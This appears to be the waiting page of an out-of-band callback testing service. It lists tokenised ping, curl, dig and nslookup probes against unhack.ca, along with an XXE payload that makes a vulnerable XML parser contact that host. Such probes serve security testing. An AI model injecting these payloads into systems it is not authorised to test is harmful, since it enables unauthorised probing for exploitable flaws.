$ ping -c1 -p 0003853ab4bb91aa1d807dcab4361200 unhack.ca
 
$ curl http://unhack.ca/p/03853ab4bb91aa1d807dcab43612
 
$ dig 03853ab4bb91aa1d807dcab43612 @unhack.ca
 
$ dig 03853ab4bb91aa1d807dcab43612.ns.unhack.ca
 
C:\> nslookup 03853ab4bb91aa1d807dcab43612 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/03853ab4bb91aa1d807dcab43612">]>
    <foo>&xxe;</foo>
Waiting for ping...